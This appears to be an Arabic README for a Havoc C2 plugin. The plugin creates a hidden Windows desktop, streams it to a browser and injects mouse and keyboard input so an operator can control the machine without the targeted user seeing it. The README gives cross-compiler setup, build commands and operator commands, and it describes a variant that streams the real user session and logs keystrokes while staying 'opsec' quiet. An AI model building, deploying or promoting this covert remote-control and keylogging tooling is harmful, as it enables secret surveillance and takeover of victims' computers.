
إضافة Havoc C2 تنشئ سطح مكتب Windows مخفيًا، وتبثه إلى عارض في المتصفح، وتحقق إدخال الفأرة/لوحة المفاتيح للتحكم عن بُعد بشكل خفي.
إضافة Havoc C2 تنشئ سطح مكتب Windows بديلاً غير مرئي، وتبثّه إلى عارض قائم على المتصفح، وتدعم التفاعل الكامل بالفأرة/لوحة المفاتيح مثل RDP، لكن بشكل غير مرئي للمستخدم المستهدف.
CreateDesktopW ويشغّل explorer.exe عليهPrintWindow ويبثّ إطارات JPEGPostMessage مباشرةً إلى نوافذ سطح المكتب المخفيمترجم متقاطع: x86_64-w64-mingw32-gcc (واختيارياً i686-w64-mingw32-gcc لـ x86)
sudo apt update && sudo apt install gcc-mingw-w64-x86-64 gcc-mingw-w64-i686
sudo pacman -S mingw-w64-gcc
sudo dnf install mingw64-gcc mingw32-gcc
make # x64 only
make both # x64 + x86
make clean # remove .o files
x86_64-w64-mingw32-gcc -c -Wall -Wno-unused-variable -o screenshot.x64.o screenshot.c
x86_64-w64-mingw32-gcc -c -Wall -Wno-unused-variable -o screeninput.x64.o screeninput.c
x86_64-w64-mingw32-gcc -c -Wall -Wno-unused-variable -o notrdp_mgr.x64.o notrdp_mgr.c
notrdp [port] [quality] # Start hidden desktop session
notrdp-close # Close session
إضافة بديلة تلتقط جلسة سطح المكتب الحقيقية للمستخدم بدلاً من إنشاء جلسة مخفية. تتضمن التقاط ضغطات المفاتيح المتوافق مع opsec عبر استطلاع GetAsyncKeyState المضمّن في BOF لقطة الشاشة. حزّمت كـ notrdpuser.zip في نفس المستودع، استخرجها وحمّل notrdpuser.py بالطريقة نفسها.
notrdpuser [port] [quality] # Start user desktop streaming + keystroke capture
notrdpuser-close # Close session